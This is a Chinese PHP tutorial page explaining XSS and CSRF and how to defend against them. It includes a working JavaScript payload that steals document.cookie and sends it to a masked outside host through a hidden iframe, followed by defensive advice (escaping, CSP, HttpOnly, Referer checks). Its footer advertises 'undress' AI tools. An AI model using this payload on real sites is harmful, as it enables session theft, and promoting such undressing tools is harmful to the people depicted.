搜索
首页后端开发php教程XSS和CSRF攻击怎么防护
XSS和CSRF攻击怎么防护Mar 19, 2018 pm 01:04 PM
csrf攻击防护


XSS:跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

CSRF:跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

简单理解就是:

XSS: 通过客户端脚本语言(最常见如:JavaScript)
在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫做XSS!

CSRF:又称XSRF,冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。

怎么做

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://********";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

如何防护

中心思想:一切的一切外部来源数据,都要我们服务端代码的过滤,才能让他展示到页面上,也就是说,一切外部数据都是非法的,一定要做好过滤。

1.尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容
2.必须要用innerHTML等等函数,则需要做类似php的htmlspecialchars的过滤

3.在输出html时,加上Content Security Policy的Http Header
(作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等)
(缺陷:IE或低版本的浏览器可能不支持)
4.在设置Cookie时,加上HttpOnly参数
(作用:可以防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6)
(缺陷:网站本身的JS代码也无法操作Cookie,而且作用有限,只能保证Cookie的安全)
5.在开发API时,检验请求的Referer参数
(作用:可以在一定程度上防止CSRF攻击)
(缺陷:IE或低版本的浏览器中,Referer参数可以被伪造)

相关推荐:

PHP实现防止跨站和xss攻击实例代码

详解JS写XSS cookie stealer来窃取密码方法

XSS及CSRF的详细介绍

以上是XSS和CSRF攻击怎么防护的详细内容。更多信息请关注PHP中文网其他相关文章!

声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
PHP Session 跨域与跨站请求伪造的对比分析PHP Session 跨域与跨站请求伪造的对比分析Oct 12, 2023 pm 12:58 PM

PHPSession跨域与跨站请求伪造的对比分析随着互联网的发展,Web应用程序的安全性显得格外重要。在开发Web应用程序时,PHPSession是一种常用的身份验证和会话跟踪机制,而跨域请求和跨站请求伪造(CSRF)则是两种主要的安全威胁。为了保护用户数据和应用程序的安全性,开发人员需要了解Session跨域和CSRF的区别,并采

PHP 框架安全指南:如何防止 CSRF 攻击?PHP 框架安全指南:如何防止 CSRF 攻击?Jun 01, 2024 am 10:36 AM

PHP框架安全指南:如何防止CSRF攻击?跨站点请求伪造(CSRF)攻击是一种网络攻击,其中攻击者诱骗用户在受害者的网络应用程序中执行非预期操作。CSRF如何工作?CSRF攻击利用了一个事实:大多数Web应用程序允许在同一个域名内不同页面之间发送请求。攻击者创建恶意页面,该页面向受害者的应用程序发送请求,触发未经授权的操作。如何防止CSRF攻击?1.使用反CSRF令牌:向每个用户分配一个唯一的令牌,将其存储在会话或Cookie中。在应用程序中包含一个隐藏字段,用于提交该令牌

Laravel中的跨站脚本攻击(XSS)和跨站请求伪造(CSRF)防护Laravel中的跨站脚本攻击(XSS)和跨站请求伪造(CSRF)防护Aug 13, 2023 pm 04:43 PM

Laravel中的跨站脚本攻击(XSS)和跨站请求伪造(CSRF)防护随着互联网的发展,网络安全问题也变得越来越严峻。其中,跨站脚本攻击(Cross-SiteScripting,XSS)和跨站请求伪造(Cross-SiteRequestForgery,CSRF)是最为常见的攻击手段之一。Laravel作为一款流行的PHP开发框架,为用户提供了多种安全机

PHP安全防护:防止恶意BOT攻击PHP安全防护:防止恶意BOT攻击Jun 24, 2023 am 08:19 AM

随着互联网的快速发展,网络攻击的数量和频率也在不断增加。其中,恶意BOT攻击是一种非常常见的网络攻击方式,它通过利用漏洞或弱密码等方式,获取网站后台登录信息,然后在网站上执行恶意操作,如篡改数据、植入广告等。因此,对于使用PHP语言开发的网站来说,加强安全防护措施,特别是在防止恶意BOT攻击方面,就显得非常重要。一、加强口令安全口令安全是防范恶意BOT攻击的

PHP中的CSRF攻击PHP中的CSRF攻击May 25, 2023 pm 08:31 PM

随着网络的不断发展,网页应用也越来越多,然而,安全问题也越来越引起人们的关注。CSRF(CrossSiteRequestForgery,即跨站请求伪造)攻击就是一种常见的网络安全问题。CSRF攻击是什么?所谓CSRF攻击,就是攻击者盗用了用户的身份,以用户的名义进行非法操作。通俗的讲,就是攻击者利用用户的登录态,在用户毫不知情的情况下,进行一些非法的操

Nginx防范脚本攻击的最佳方案Nginx防范脚本攻击的最佳方案Jun 10, 2023 pm 10:55 PM

Nginx防范脚本攻击的最佳方案脚本攻击是指攻击者利用脚本程序对目标网站进行攻击,以实现恶意目的的行为。脚本攻击的形式多种多样,如SQL注入、XSS攻击、CSRF攻击等等。而在Web服务器中,Nginx被广泛应用于反向代理、负载均衡、静态资源缓存等环节,在面对脚本攻击时,Nginx也可以发挥其优势,实现有效的防御。一、Nginx对脚本攻击的实现方式在Ngin

如何在Nginx中使用Lua防护Web安全漏洞如何在Nginx中使用Lua防护Web安全漏洞Jun 10, 2023 pm 04:33 PM

在今天的网络环境中,Web安全漏洞已成为了所有网站和应用程序的威胁。它们可以导致数据泄露、用户信息泄露、恶意软件安装和其他灾难性后果。因此,在互联网应用程序中预防和防范Web安全漏洞非常重要。而Nginx是一款开源的高性能Web服务器,广泛应用于互联网上的各种网站中。本文将介绍如何在Nginx中使用Lua防护Web安全漏洞。一、什么是LuaLua是一种轻量级

简单易行:关闭Windows安全中心威胁防护功能步骤简单易行:关闭Windows安全中心威胁防护功能步骤Mar 27, 2024 pm 12:18 PM

关闭Windows安全中心的威胁防护功能并不是一个常规操作,但有时候我们可能需要这么做,比如在安装某些特定软件时,该功能可能会干扰到软件的正常运行。下面就来介绍一下关闭Windows安全中心威胁防护功能的具体步骤。首先,打开Windows安全中心。可以通过在开始菜单中搜索"Windows安全中心"来打开该程序,或者可以在系统托盘中查找并点击Windows安全

See all articles

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
2 周前By尊渡假赌尊渡假赌尊渡假赌
仓库:如何复兴队友
4 周前By尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒险:如何获得巨型种子
4 周前By尊渡假赌尊渡假赌尊渡假赌

热工具

螳螂BT

螳螂BT

Mantis是一个易于部署的基于Web的缺陷跟踪工具,用于帮助产品缺陷跟踪。它需要PHP、MySQL和一个Web服务器。请查看我们的演示和托管服务。

DVWA

DVWA

Damn Vulnerable Web App (DVWA) 是一个PHP/MySQL的Web应用程序,非常容易受到攻击。它的主要目标是成为安全专业人员在合法环境中测试自己的技能和工具的辅助工具,帮助Web开发人员更好地理解保护Web应用程序的过程,并帮助教师/学生在课堂环境中教授/学习Web应用程序安全。DVWA的目标是通过简单直接的界面练习一些最常见的Web漏洞,难度各不相同。请注意,该软件中

SublimeText3 英文版

SublimeText3 英文版

推荐:为Win版本,支持代码提示!

适用于 Eclipse 的 SAP NetWeaver 服务器适配器

适用于 Eclipse 的 SAP NetWeaver 服务器适配器

将Eclipse与SAP NetWeaver应用服务器集成。

Dreamweaver Mac版

Dreamweaver Mac版

视觉化网页开发工具